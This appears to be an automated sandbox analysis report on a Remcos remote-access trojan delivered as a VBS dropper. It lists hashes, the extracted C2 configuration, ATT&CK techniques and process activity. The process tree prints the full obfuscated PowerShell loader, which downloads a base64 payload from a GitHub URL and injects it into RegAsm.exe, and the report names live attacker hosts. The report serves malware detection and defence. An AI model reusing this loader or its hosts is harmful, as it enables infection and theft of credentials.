remcos | e2da4bdc8ddb6ea24583b91f20a533ec87de790f22f475e29efc2b86a851c764

Analysis

max time kernel
148s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 03:30

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General

Target

e2da4bdc8ddb6ea24583b91f20a533ec87de790f22f475e29efc2b86a851c764.vbs
Size

284KB
MD5

530df3cee5771db37bb422520753d617
SHA1

7a68962efd7e8f0e5890376029485a192be6bd7d
SHA256

e2da4bdc8ddb6ea24583b91f20a533ec87de790f22f475e29efc2b86a851c764
SHA512

2f835e087906c1b86d0dd2b710c05a37db7d0c42c0e285c9f007565383e0a7e7e24caeaed40e244ba6f467b1b33fe86a8d230bed000f58707080de2edd2f1af2
SSDEEP

6144:FS1TjQvtuff2c5mMlaNkTbFxrmGjmI+swB//ETgAfXJo:cpjQsfb5mMNbFxrvjmHLBIgAfXJo

Score

10^/10

remcos remotehost collection discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

RemoteHost

hiddenrmcnew.duckdns.org:7839

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-2QT0LM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1168-51-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/2572-50-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/3876-55-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/1168-51-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3876-55-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2228	powershell.exe
14	2228	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe
2228	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2228 set thread context of 4716	2228	powershell.exe	85
PID 4716 set thread context of 3876	4716	RegAsm.exe	86
PID 4716 set thread context of 1168	4716	RegAsm.exe	87
PID 4716 set thread context of 2572	4716	RegAsm.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
2228	powershell.exe
2228	powershell.exe
2572	RegAsm.exe
2572	RegAsm.exe
3876	RegAsm.exe
3876	RegAsm.exe
3876	RegAsm.exe
3876	RegAsm.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4716	RegAsm.exe
4716	RegAsm.exe
4716	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	2228	powershell.exe
Token: SeDebugPrivilege	2572	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4716	RegAsm.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 2460	3056	WScript.exe	82
PID 3056 wrote to memory of 2460	3056	WScript.exe	82
PID 2460 wrote to memory of 2228	2460	powershell.exe	84
PID 2460 wrote to memory of 2228	2460	powershell.exe	84
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 2228 wrote to memory of 4716	2228	powershell.exe	85
PID 4716 wrote to memory of 3876	4716	RegAsm.exe	86
PID 4716 wrote to memory of 3876	4716	RegAsm.exe	86
PID 4716 wrote to memory of 3876	4716	RegAsm.exe	86
PID 4716 wrote to memory of 3876	4716	RegAsm.exe	86
PID 4716 wrote to memory of 1168	4716	RegAsm.exe	87
PID 4716 wrote to memory of 1168	4716	RegAsm.exe	87
PID 4716 wrote to memory of 1168	4716	RegAsm.exe	87
PID 4716 wrote to memory of 1168	4716	RegAsm.exe	87
PID 4716 wrote to memory of 2572	4716	RegAsm.exe	88
PID 4716 wrote to memory of 2572	4716	RegAsm.exe	88
PID 4716 wrote to memory of 2572	4716	RegAsm.exe	88
PID 4716 wrote to memory of 2572	4716	RegAsm.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e2da4bdc8ddb6ea24583b91f20a533ec87de790f22f475e29efc2b86a851c764.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRlblY6Q09tU1BFQ1s0LDI2LDI1XS1KT2luJycpKCgnWlhmdXJsID0nKycgJysncCcrJzUnKyd5aCcrJ3QnKyd0cHM6Ly8nKydyYXcuJysnZycrJ2knKyd0aCcrJ3VidXNlJysncmNvbnRlbnQuY28nKydtJysnL04nKydvRGUnKyd0JysnZWN0TycrJ24nKycvTm9EZScrJ3RlY3RPJysnbi8nKydyZScrJ2YnKydzL2hlYWRzL21haW4vRGUnKyd0JysnYWgnKydOb3RoLScrJ1YudHh0JysncDV5OycrJyAnKydaWCcrJ2ZiYXMnKydlNicrJzQnKydDb250ZW4nKyd0ID0gKCcrJ04nKydlJysndy1PYmonKydlJysnY3QnKycgU3lzdGVtJysnLk4nKydldC5XZWJDbGllbnQpLkRvd25sb2EnKydkJysnUycrJ3RyaW5nKFpYJysnZnUnKydyJysnbCk7IFonKydYZmInKydpbmFyeUNvbicrJ3RlJysnbnQgPSBbU3lzdCcrJ2VtJysnLkNvbnZlJysncnQnKyddOjonKydGJysncm9tQmFzZTY0U3QnKydyaScrJ25nKCcrJ1pYZmInKydhc2U2NEMnKydvbnQnKydlJysnbnQpOyBaJysnWGYnKydhc3NlbWInKydsJysneScrJyAnKyc9JysnIFtSJysnZWZsZScrJ2N0JysnaW9uLkEnKydzcycrJ2VtYmwnKyd5XTo6TG9hZChaJysnWGZiaW5hcnlDb250JysnZW50KScrJzsnKycgW2RuJysnbGknKydiLicrJ0knKydPLkhvbWUnKyddOjpWJysnQScrJ0koWk0nKydjdCcrJ3h0JysnLlJUVEhHJysnRicrJ1IvMCcrJzIvNDQuNycrJzcxJysnLicrJzknKycxJysnLjQzMS8vOnB0dGhaTWMsICcrJ1onKydNJysnY2QnKydlc2F0aXZhZG9aTScrJ2MnKycsIFpNY2Rlc2F0aXZhZG9aJysnTWMnKycsIFonKydNJysnY2QnKydlcycrJ2F0aXZhZG9aJysnTWMsIFpNY1JlZ0FzbScrJ1pNYywnKycgJysnWicrJ01jWk1jLFpNYycrJ1pNYyknKS5yRVBsQUNlKCdaWGYnLFtzdHJJbmddW0NIYXJdMzYpLnJFUGxBQ2UoJ1pNYycsW3N0ckluZ11bQ0hhcl0zNCkuckVQbEFDZSgncDV5Jyxbc3RySW5nXVtDSGFyXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $enV:COmSPEC[4,26,25]-JOin'')(('ZXfurl ='+' '+'p'+'5'+'yh'+'t'+'tps://'+'raw.'+'g'+'i'+'th'+'ubuse'+'rcontent.co'+'m'+'/N'+'oDe'+'t'+'ectO'+'n'+'/NoDe'+'tectO'+'n/'+'re'+'f'+'s/heads/main/De'+'t'+'ah'+'Noth-'+'V.txt'+'p5y;'+' '+'ZX'+'fbas'+'e6'+'4'+'Conten'+'t = ('+'N'+'e'+'w-Obj'+'e'+'ct'+' System'+'.N'+'et.WebClient).Downloa'+'d'+'S'+'tring(ZX'+'fu'+'r'+'l); Z'+'Xfb'+'inaryCon'+'te'+'nt = [Syst'+'em'+'.Conve'+'rt'+']::'+'F'+'romBase64St'+'ri'+'ng('+'ZXfb'+'ase64C'+'ont'+'e'+'nt); Z'+'Xf'+'assemb'+'l'+'y'+' '+'='+' [R'+'efle'+'ct'+'ion.A'+'ss'+'embl'+'y]::Load(Z'+'XfbinaryCont'+'ent)'+';'+' [dn'+'li'+'b.'+'I'+'O.Home'+']::V'+'A'+'I(ZM'+'ct'+'xt'+'.RTTHG'+'F'+'R/0'+'2/44.7'+'71'+'.'+'9'+'1'+'.431//:ptthZMc, '+'Z'+'M'+'cd'+'esativadoZM'+'c'+', ZMcdesativadoZ'+'Mc'+', Z'+'M'+'cd'+'es'+'ativadoZ'+'Mc, ZMcRegAsm'+'ZMc,'+' '+'Z'+'McZMc,ZMc'+'ZMc)').rEPlACe('ZXf',[strIng][CHar]36).rEPlACe('ZMc',[strIng][CHar]34).rEPlACe('p5y',[strIng][CHar]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4716
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\feoidgftdsvznxyxinxgmvtu"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3876
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\hzuaezymranmylmbrpraxigdkle"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1168
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\sbhtfrjofifrariniaebanautsvbod"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
2ca5be3b08f07f6e3218bb9f7fa87a06

SHA1
f396814f55471a166399554e826314a5144540ce

SHA256
6cbf547da556ed137e68196e2635cf708ddf403fd9c7dbf8e399f53fd00c07b2

SHA512
1d5ed08ec08f96019606cdb8fdacc4acaa70e73f8e28306471b31fa9f583ac0c373d5e8d91213d6b2c0438c3b1ff6e7742e268c5204868aa0822f1060dbaf417

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2ybv3j52.3hp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\feoidgftdsvznxyxinxgmvtu

Filesize
4KB

MD5
ea01dd92b15d2f570f6b167dad2d1fd0

SHA1
7b89141d4c3eb2f29d096f28a9bfe66eb006224a

SHA256
0515f49138d74283f9ac1042fd1a384f715b74c2b99193454dbb0cd585097727

SHA512
0e7695aea30250a41829fa4abb681b8c3ed4c0955e18f1f9f3a5456bfb3a76f016f538e557bf29b99ab6ab48c846f9fa3c4bccd8cb5fe73099a81b5946029ec8

Download Submit
memory/1168-51-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1168-48-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1168-46-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2228-22-0x0000016D252B0000-0x0000016D254D0000-memory.dmp

Filesize
2.1MB

Download
memory/2460-0-0x00007FFAE2A13000-0x00007FFAE2A15000-memory.dmp

Filesize
8KB

Download
memory/2460-12-0x00007FFAE2A10000-0x00007FFAE34D1000-memory.dmp

Filesize
10.8MB

Download
memory/2460-36-0x00007FFAE2A10000-0x00007FFAE34D1000-memory.dmp

Filesize
10.8MB

Download
memory/2460-11-0x00007FFAE2A10000-0x00007FFAE34D1000-memory.dmp

Filesize
10.8MB

Download
memory/2460-1-0x0000027126B90000-0x0000027126BB2000-memory.dmp

Filesize
136KB

Download
memory/2572-47-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2572-49-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2572-50-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3876-55-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3876-52-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3876-54-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3876-45-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4716-29-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-41-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-40-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-31-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-61-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4716-65-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4716-64-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/4716-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4716-23-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download